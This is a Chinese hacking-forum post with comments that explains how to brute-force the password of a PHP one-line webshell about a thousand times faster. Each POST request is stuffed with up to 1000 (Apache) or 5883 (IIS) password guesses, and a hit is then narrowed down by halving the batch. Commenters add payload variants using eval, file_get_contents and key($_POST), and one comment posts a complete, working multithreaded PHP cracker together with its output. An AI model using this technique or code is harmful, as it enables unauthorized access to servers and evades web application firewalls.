让你的一句话爆破速度提升千倍

2016-11-30 06:15:29 92 22245 19
TCV=0

【序】
  对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。

那如果我们爆破的速度可以提升1000倍呢?



【正文】

  首先如图1↓
变量=echo "ok";
如果这个变量等于密码的时候,我们的语句就会被传参带入执行,那如果我们批量提交(即a=echo "ok";&b=echo "ok";&c=echo "ok";&....)呢?

只要我们提交的参数中含有实际的参数,就可被接收。

但是会有一定的限制↓

Apache下 默认同时允许接收1000个参数 图4


IIS下    默认同时允许接收5883个参数 图2 图3



注:可在配置文件中修改,以上情况是默认。

那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。


【个人实现原理】
  花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
  这样如果密码存在于字典,100次即可探测到密码实际存在的位置

2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码

所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。

那么IIS下速度就更快了,速度是Apache的五倍左右

10W字典本地测试




10W字典远程服务器测试






工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。


好了,汇报结束。

关于作者

接地气75篇文章750篇回复

V:xss_sqlmap Q:1704292887
欢迎交流,请备注来源!

评论92次

要评论?请先  登录  或  注册
  • 52楼
    2016-12-2 10:07

    思路很不错,值得学xi,稍后自己写个工具尝试一下

  • 51楼
    2016-12-2 08:34

    思路很好,可惜工具不能分享一下。。。

  • 50楼
    2016-12-1 18:10
    Jumbo

    a=echo "ok";&b=echo "ok";&c=echo "ok"这样的话,那就是都输出ok了。咋知道到底是哪个输出的ok?是不是要把输出的内容都改下,这样比较好容易找到成功的密码?另外,求工具

    1

    别都输出一样的啊,1-1000个数字

  • 49楼
    2016-12-1 10:49

    超级厉害,感谢分享,论坛有你更精彩

  • 48楼
    2016-11-30 23:31
    stream

    思路真的非常棒

    1

    每次都要盯着你头像看个分把钟

  • 47楼
    2016-11-30 23:09
    冰封

    速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样http://localhost/shell.php?a=print(file_get_contents('./shell.php'));posta=eval($_GET);&b=eval($_GET);&.....

    1

    因为要考虑大多数的场景,echo算是权限及影响最小化的操作了,

  • 46楼
    2016-11-30 22:39

    速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。 考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样 http://localhost/shell.php?a=print(file_get_contents('./shell.php')); post a=eval($_GET['a']);&b=eval($_GET['a']);&.....

  • 45楼
    2016-11-30 22:38

    post内容:参数=print_r($_POST[参数]); 直接将当前的参数输出来。

  • 44楼
    2016-11-30 22:17

    思路真的非常棒

  • 43楼
    2016-11-30 22:09
    CCTV

    @接地气 思路猥琐 速度快了 请求少了 还避免触发waf看了下lz的流程是10w字典分割 共100组 每组1000行字典,这里可以100次请求内 确定密码所在的组,然后循环跑该组得到正确密码?彩笔不会写工具 想着如何提前处理好字典 直接请求100次得到密码思路这样 例如php 一句话echo (key($_POST)); 打印post参数字典处理成这样pass=echo (key($_POST));&pass2=echo (key($_POST));&pass3=echo (key($_POST));&pass4=echo (key($_POST));&pass5=echo (key($_POST));&pass6=echo (key($_POST));1000行密码一组 不换行 放txt里100行 burp加载lz可以使用这个改进 直接跑出密码 能不能伸手求工具 还是工具方便

    1
    接地气

    是的几次提交就可以确定密码所在的组,这个组内有1000个密码,然后程序再次折半分割,变成500+500两组,确定了组之后再次折半分割就成了250+250 ....提交几次后就可将密码定位了。

    2

    二分法浪费时间了感觉 直接输出不好吗

  • 42楼
    2016-11-30 22:08
    CCTV

    @接地气 思路猥琐 速度快了 请求少了 还避免触发waf看了下lz的流程是10w字典分割 共100组 每组1000行字典,这里可以100次请求内 确定密码所在的组,然后循环跑该组得到正确密码?彩笔不会写工具 想着如何提前处理好字典 直接请求100次得到密码思路这样 例如php 一句话echo (key($_POST)); 打印post参数字典处理成这样pass=echo (key($_POST));&pass2=echo (key($_POST));&pass3=echo (key($_POST));&pass4=echo (key($_POST));&pass5=echo (key($_POST));&pass6=echo (key($_POST));1000行密码一组 不换行 放txt里100行 burp加载lz可以使用这个改进 直接跑出密码 能不能伸手求工具 还是工具方便

    1

    是的 几次提交就可以确定密码所在的组,这个组内有1000个密码,然后程序再次折半分割,变成500+500两组,确定了组之后再次折半分割就成了250+250 ....提交几次后就可将密码定位了。

  • 41楼
    2016-11-30 21:58

    另辟蹊径呀 楼主太牛了

  • 40楼
    2016-11-30 20:42

    主要是一句话太难遇到,思路还是很不错的

  • 39楼
    2016-11-30 20:28

    方法很赞

  • 38楼
    2016-11-30 19:35

    这个思路一一直用来测试马被没被拦截没想到还能用来爆破有趣

  • 37楼
    2016-11-30 18:56

    这个思路还是挺赞的 确实效率提升了很多

  • 36楼
    2016-11-30 18:53

    可是,怎么知道一句话在哪个路径呢?

  • 35楼
    2016-11-30 17:50

    思维突破天际。来自外星的你。

  • 34楼
    2016-11-30 17:10

    随手拿硬盘里面的代码复制粘贴 改了一下 感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒

    <?php  //error_reporting(0); //不显示错误 $stime=microtime(true); ini_set('memory_limit',-1); //内存设置最高 require("RollingCurl.php"); //载入多线程类  function request_callback($response) { if(!strpos($response,'OK')){ echo $response; } }  function get_s($pass, $server = 'iis') {     if ($server == 'iis') {         $num = 1000;     } else {         $num = 5000;     }     $a1 = explode("\n", $pass);     $bb = '';     for ($i = 0; $i <= count($a1) - 1; $i++) {         $bb .= "echo \"OK-{$i}-$a1[$i]\";" . "\n";     }     $b1 = explode("\n", $bb);     array_pop($b1);     return array_chunk(array_combine($a1, $b1), $num, true); } $rc = new RollingCurl("request_callback");   $threads=10; //线程 $timeout=100; //设置超时 $rc = new RollingCurl("request_callback");  $rc->window_size = $threads; //设置线程 $rc->timeout = $timeout; //设置超时 $method='POST'; $pass=file_get_contents('example.dict'); $o=get_s($pass); for($i=0;$i<=count($o)-1;$i++){  $url=$argv[1]; $data_1=http_build_query($o[$i]); $request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转  为0 不跳转 $request->options = array(CURLOPT_FOLLOWLOCATION => 0,             CURLOPT_NOBODY => 0,             CURLOPT_HEADER => 0,             CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;",             CURLOPT_POSTFIELDS => $data_1                                                                                            );        $rc->add($request); } $rc->execute(); $etime=microtime(true);//获取程序执行结束的时间 $total=$etime-$stime; echo "\r\n".$total; ?>
    php 1.php http://xxx.x.x.x/1.php OK-129987-zzzzzzzzzzz 0.73481416702271

  • 33楼
    2016-11-30 17:10

    底气哥,我记得以前就有啦,配合二分法速度很快